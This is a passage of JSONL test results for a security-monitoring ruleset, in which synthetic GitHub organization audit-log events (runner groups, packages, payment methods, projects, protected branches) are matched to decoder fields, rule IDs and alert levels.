"5", "expected_decoder": "json", "expected_rule": "91220", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization runner group created."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.runner_group_removed\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.runner_group_removed", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91221", "level": "7", "expected_decoder": "json", "expected_rule": "91221", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization runner group removed."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.runner_group_runner_removed\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.runner_group_runner_removed", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91222", "level": "7", "expected_decoder": "json", "expected_rule": "91222", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization runner group runner removed."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.runner_group_runners_added\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.runner_group_runners_added", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91223", "level": "5", "expected_decoder": "json", "expected_rule": "91223", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization runner group runners added."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.runner_group_runners_updated\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.runner_group_runners_updated", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91224", "level": "5", "expected_decoder": "json", "expected_rule": "91224", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization runner group runners updated."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.runner_group_updated\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.runner_group_updated", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91225", "level": "5", "expected_decoder": "json", "expected_rule": "91225", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization runner group updated."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.self_hosted_runner_updated\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.self_hosted_runner_updated", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91226", "level": "3", "expected_decoder": "json", "expected_rule": "91226", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization self hosted runner updated."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.set_actions_retention_limit\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.set_actions_retention_limit", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91227", "level": "5", "expected_decoder": "json", "expected_rule": "91227", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization set actions retention limit."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.unblock_user\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.unblock_user", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91228", "level": "7", "expected_decoder": "json", "expected_rule": "91228", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization unblock user."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.update_actions_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.update_actions_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91229", "level": "7", "expected_decoder": "json", "expected_rule": "91229", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization update actions secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.update_actions_settings\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.update_actions_settings", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91230", "level": "7", "expected_decoder": "json", "expected_rule": "91230", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization update actions settings."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.update_default_repository_permission\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.update_default_repository_permission", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91231", "level": "7", "expected_decoder": "json", "expected_rule": "91231", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization update default repository permission."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.update_member\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.update_member", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91232", "level": "5", "expected_decoder": "json", "expected_rule": "91232", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization update member."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.update_member_repository_creation_permission\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.update_member_repository_creation_permission", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91233", "level": "7", "expected_decoder": "json", "expected_rule": "91233", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization update member repository creation permission."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.update_new_repository_default_branch_setting\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.update_new_repository_default_branch_setting", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91234", "level": "7", "expected_decoder": "json", "expected_rule": "91234", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization update new repository default branch setting."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.update_saml_provider_settings\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.update_saml_provider_settings", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91235", "level": "7", "expected_decoder": "json", "expected_rule": "91235", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization update saml provider settings."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org.update_terms_of_service\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org.update_terms_of_service", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91236", "level": "7", "expected_decoder": "json", "expected_rule": "91236", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization update terms of service."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org_credential_authorization.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org_credential_authorization.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91239", "level": "3", "expected_decoder": "json", "expected_rule": "91239", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization credential authorization."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org_credential_authorization.grant\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org_credential_authorization.grant", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91240", "level": "7", "expected_decoder": "json", "expected_rule": "91240", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization credential authorization grant."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org_credential_authorization.deauthorized\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org_credential_authorization.deauthorized", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91241", "level": "12", "expected_decoder": "json", "expected_rule": "91241", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization credential authorization deauthorized."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"org_credential_authorization.revoke\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "org_credential_authorization.revoke", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91242", "level": "9", "expected_decoder": "json", "expected_rule": "91242", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization credential authorization revoke."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"organization_default_label.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "organization_default_label.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91243", "level": "3", "expected_decoder": "json", "expected_rule": "91243", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization default label."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"organization_label.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "organization_label.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91243", "level": "3", "expected_decoder": "json", "expected_rule": "91243", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization default label."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"organization_default_label.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "organization_default_label.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91244", "level": "5", "expected_decoder": "json", "expected_rule": "91244", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization default label create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"organization_default_label.update\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "organization_default_label.update", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91245", "level": "5", "expected_decoder": "json", "expected_rule": "91245", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization default label update."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"organization_default_label.destroy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "organization_default_label.destroy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91246", "level": "5", "expected_decoder": "json", "expected_rule": "91246", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization default label destroy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"packages.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "packages.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91247", "level": "3", "expected_decoder": "json", "expected_rule": "91247", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Packages."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"packages.package_version_published\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "packages.package_version_published", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91248", "level": "5", "expected_decoder": "json", "expected_rule": "91248", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Package version published."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"packages.package_version_deleted\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "packages.package_version_deleted", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91249", "level": "7", "expected_decoder": "json", "expected_rule": "91249", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Package version deleted."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"packages.package_deleted\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "packages.package_deleted", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91250", "level": "7", "expected_decoder": "json", "expected_rule": "91250", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Package deleted."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"packages.package_version_restored\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "packages.package_version_restored", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91251", "level": "5", "expected_decoder": "json", "expected_rule": "91251", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Package version restored."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"packages.package_restored\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "packages.package_restored", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91252", "level": "5", "expected_decoder": "json", "expected_rule": "91252", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Package restored."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"payment_method.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "payment_method.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91253", "level": "3", "expected_decoder": "json", "expected_rule": "91253", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Payment method."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"payment_method.clear\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "payment_method.clear", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91254", "level": "7", "expected_decoder": "json", "expected_rule": "91254", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Payment method clear."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"payment_method.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "payment_method.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91255", "level": "7", "expected_decoder": "json", "expected_rule": "91255", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Payment method create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"payment_method.update\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "payment_method.update", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91256", "level": "7", "expected_decoder": "json", "expected_rule": "91256", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Payment method update."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"profile_picture.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "profile_picture.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91257", "level": "3", "expected_decoder": "json", "expected_rule": "91257", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Profile picture."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"profile_picture.update\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "profile_picture.update", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91258", "level": "5", "expected_decoder": "json", "expected_rule": "91258", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Profile picture update."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"project.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "project.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91259", "level": "3", "expected_decoder": "json", "expected_rule": "91259", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Project."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"project.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "project.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91260", "level": "5", "expected_decoder": "json", "expected_rule": "91260", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Project create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"project.link\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "project.link", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91261", "level": "5", "expected_decoder": "json", "expected_rule": "91261", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Project link."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"project.rename\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "project.rename", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91262", "level": "5", "expected_decoder": "json", "expected_rule": "91262", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Project rename."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"project.update\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "project.update", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91263", "level": "5", "expected_decoder": "json", "expected_rule": "91263", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Project update."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"project.delete\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "project.delete", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91264", "level": "7", "expected_decoder": "json", "expected_rule": "91264", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Project delete."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"project.unlink\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "project.unlink", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91265", "level": "7", "expected_decoder": "json", "expected_rule": "91265", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Project unlink."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"project.update_org_permission\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "project.update_org_permission", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91266", "level": "5", "expected_decoder": "json", "expected_rule": "91266", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Project update org permission."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"project.update_team_permission\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "project.update_team_permission", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91267", "level": "5", "expected_decoder": "json", "expected_rule": "91267", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Project update team permission."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"project.update_user_permission\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "project.update_user_permission", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91268", "level": "5", "expected_decoder": "json", "expected_rule": "91268", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Project update user permission."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"organization_domain.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "organization_domain.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91269", "level": "3", "expected_decoder": "json", "expected_rule": "91269", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization domain."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"organization_domain.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "organization_domain.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91270", "level": "5", "expected_decoder": "json", "expected_rule": "91270", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization domain create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"organization_domain.delete\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "organization_domain.delete", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91271", "level": "5", "expected_decoder": "json", "expected_rule": "91271", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Organization domain delete."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"private_repository_forking.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "private_repository_forking.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91272", "level": "3", "expected_decoder": "json", "expected_rule": "91272", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Private repository forking."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"private_repository_forking.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "private_repository_forking.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91273", "level": "9", "expected_decoder": "json", "expected_rule": "91273", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Private repository forking enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"private_repository_forking.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "private_repository_forking.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91274", "level": "5", "expected_decoder": "json", "expected_rule": "91274", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Private repository forking disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91275", "level": "3", "expected_decoder": "json", "expected_rule": "91275", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91276", "level": "5", "expected_decoder": "json", "expected_rule": "91276", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Protected branch create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"protected_branch.destroy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "protected_branch.destroy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": 